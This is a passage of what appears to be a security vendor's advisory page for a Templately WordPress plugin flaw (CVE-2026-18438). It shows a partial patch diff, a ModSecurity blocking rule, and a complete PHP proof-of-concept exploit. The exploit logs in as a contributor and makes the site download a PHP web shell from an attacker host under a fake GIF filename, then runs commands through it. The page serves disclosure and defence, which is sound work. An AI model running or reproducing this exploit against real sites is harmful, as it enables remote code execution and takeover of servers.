+			return '';
+		}
+
+		$base = trailingslashit( $upload_dir['basedir'] ) . 'templately' . DIRECTORY_SEPARATOR;
+
+		// The guards go on the root so every subdirectory inherits them.
+		self::protect_directory( $base );
+
+		return '' === $sub ? $base : trailingslashit( $base . $sub );
+	}
+
 }
--- a/templately/includes/Utils/Installer.php
+++ b/templately/includes/Utils/Installer.php
@@ -127,7 +127,12 @@
 			$plugin['plugin_file'] = $install_status['file'];
 		}

-		if ( !Helper::current_user_can( 'activate_plugins' ) && is_plugin_inactive( $file ) ) {
+		// `$file` was never defined here — the plugin path lives in
+		// $plugin['plugin_file'], and it is reassigned above when a fresh install
+		// resolves a different one. The undefined name made is_plugin_inactive()
+		// see null, which is never "active", so the guard silently collapsed to a
+		// bare capability test. It failed closed, but it was not the check written.
+		if ( !Helper::current_user_can( 'activate_plugins' ) && is_plugin_inactive( $plugin['plugin_file'] ) ) {
 			$response['code']    = 'invalid_requirements';
 			$response['message'] = __( 'Sorry, you do not have permission to activate a plugin.', 'templately' );
 			return $response;
--- a/templately/templately.php
+++ b/templately/templately.php
@@ -5,7 +5,7 @@
  * Description: The Best Templates Cloud for Elementor & Gutenberg. Get access to stunning templates, WorkSpace, Cloud Library & many more.
  * Plugin URI: https://templately.com
  * Author: Templately
- * Version: 3.7.1
+ * Version: 3.7.2
  * Author URI: https://templately.com/
  * Text Domain: templately
  * Domain Path: /languages
--- a/templately/vendor/composer/autoload_classmap.php
+++ b/templately/vendor/composer/autoload_classmap.php
@@ -178,6 +178,7 @@
     'Templately\Core\Platform\Elementor' => $baseDir . '/includes/Core/Platform/Elementor.php',
     'Templately\Core\Platform\Gutenberg' => $baseDir . '/includes/Core/Platform/Gutenberg.php',
     'Templately\Plugin' => $baseDir . '/includes/Plugin.php',
+    'Templately\Utils\AuthErrorCode' => $baseDir . '/includes/Utils/AuthErrorCode.php',
     'Templately\Utils\Base' => $baseDir . '/includes/Utils/Base.php',
     'Templately\Utils\Database' => $baseDir . '/includes/Utils/Database.php',
     'Templately\Utils\Enqueue' => $baseDir . '/includes/Utils/Enqueue.php',
--- a/templately/vendor/composer/autoload_static.php
+++ b/templately/vendor/composer/autoload_static.php
@@ -201,6 +201,7 @@
         'Templately\Core\Platform\Elementor' => __DIR__ . '/../..' . '/includes/Core/Platform/Elementor.php',
         'Templately\Core\Platform\Gutenberg' => __DIR__ . '/../..' . '/includes/Core/Platform/Gutenberg.php',
         'Templately\Plugin' => __DIR__ . '/../..' . '/includes/Plugin.php',
+        'Templately\Utils\AuthErrorCode' => __DIR__ . '/../..' . '/includes/Utils/AuthErrorCode.php',
         'Templately\Utils\Base' => __DIR__ . '/../..' . '/includes/Utils/Base.php',
         'Templately\Utils\Database' => __DIR__ . '/../..' . '/includes/Utils/Database.php',
         'Templately\Utils\Enqueue' => __DIR__ . '/../..' . '/includes/Utils/Enqueue.php',
--- a/templately/vendor/composer/installed.php
+++ b/templately/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'templately/templately',
         'pretty_version' => 'dev-latest',
         'version' => 'dev-latest',
-        'reference' => '9641863f53aa192a2ac78ff0bcd5e4c745742d97',
+        'reference' => '74e824fb59a3ec2b2d01dd57de9a12296a067b43',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'templately/templately' => array(
             'pretty_version' => 'dev-latest',
             'version' => 'dev-latest',
-            'reference' => '9641863f53aa192a2ac78ff0bcd5e4c745742d97',
+            'reference' => '74e824fb59a3ec2b2d01dd57de9a12296a067b43',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/templately/v1/(clouds/upload|insert)$" "id:202618438,phase:2,deny,status:403,chain,msg:'CVE-2026-18438: Templately arbitrary file upload via filename mismatch',severity:'CRITICAL',tag:'CVE-2026-18438'"
  SecRule REQUEST_HEADERS:Content-Type "@rx ^application/json" "chain"
    SecRule ARGS_NAMES:url "@rx ^https?://.+.(php|phtml|php[3-8]|pht|phar)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18438 - Templately <= 3.7.1 - Authenticated (Contributor+) Arbitrary File Upload to Remote Code Execution via Gutenberg Cloud Import Attachment Filename Mismatch

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password
$attacker_url = 'http://attacker.com/shell.php'; // URL to a PHP file (polyglot or pure PHP)
$content_disposition_filename = 'shell.gif'; // Content-Disposition filename to bypass validation

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$post_fields = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (!$response) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Extract nonce from the admin page (assuming Templately adds nonce to some page)
// For simplicity, we'll assume a nonce is not required for the REST API call, but if needed, fetch it.
// In many cases, the REST API endpoint uses nonce for authentication, but since we are logged in, cookies suffice.
// However, WordPress REST API requires X-WP-Nonce for cookie authentication. We need to obtain it.
$admin_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$nonce_response = curl_exec($ch);
$nonce = trim($nonce_response);
if (empty($nonce)) {
    // Fallback: try to get nonce from a page that includes wp-api-request
    $page_url = $target_url . '/wp-admin/post-new.php';
    curl_setopt($ch, CURLOPT_URL, $page_url);
    $page = curl_exec($ch);
    if (preg_match('/wpApiSettings.*?nonce":"([^"]+)"/', $page, $matches)) {
        $nonce = $matches[1];
    }
}

// Step 3: Prepare the malicious upload request
// The endpoint /templately/v1/clouds/upload expects parameters like 'url' and possibly others.
// We craft a URL that ends with .php. The attacker's server must respond with a Content-Disposition header containing filename="shell.gif".
$upload_endpoint = $target_url . '/wp-json/templately/v1/clouds/upload';
$post_data = json_encode([
    'url' => $attacker_url,
    // Additional parameters may be required; check plugin documentation. Often 'name' or 'type' are needed.
    'name' => 'malicious',
    'type' => 'attachment',
]);

// Set headers: X-WP-Nonce for authentication, Content-Type JSON
$headers = [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce,
];

curl_setopt($ch, CURLOPT_URL, $upload_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$upload_response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Upload request failed: ' . curl_error($ch));
}

// Step 4: Parse response to find the uploaded file URL
// The response might contain the URL of the uploaded file, likely in the 'url' field or similar.
$upload_data = json_decode($upload_response, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    die('Invalid JSON response: ' . $upload_response);
}

// Look for the file URL in the response. The plugin may return the attachment URL.
$shell_url = null;
if (isset($upload_data['url'])) {
    $shell_url = $upload_data['url'];
} elseif (isset($upload_data['data']['url'])) {
    $shell_url = $upload_data['data']['url'];
} else {
    // Fallback: construct expected path based on uploads directory and filename from URL
    // The file is likely stored in wp-content/uploads/templately/tmp/.../shell.php
    // We can guess using the basename from the attacker URL (shell.php)
    $upload_dir = wp_upload_dir(); // Not available, so hardcode pattern
    $shell_url = $target_url . '/wp-content/uploads/templately/tmp/' . basename($attacker_url);
}

// Step 5: Execute the shell by requesting it with a command parameter
echo "Shell uploaded at: $shell_urln";
$cmd = 'id'; // Command to execute
$exec_url = $shell_url . '?cmd=' . urlencode($cmd);
curl_setopt($ch, CURLOPT_URL, $exec_url);
curl_setopt($ch, CURLOPT_POST, false);
$output = curl_exec($ch);
echo "Command output: $outputn";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.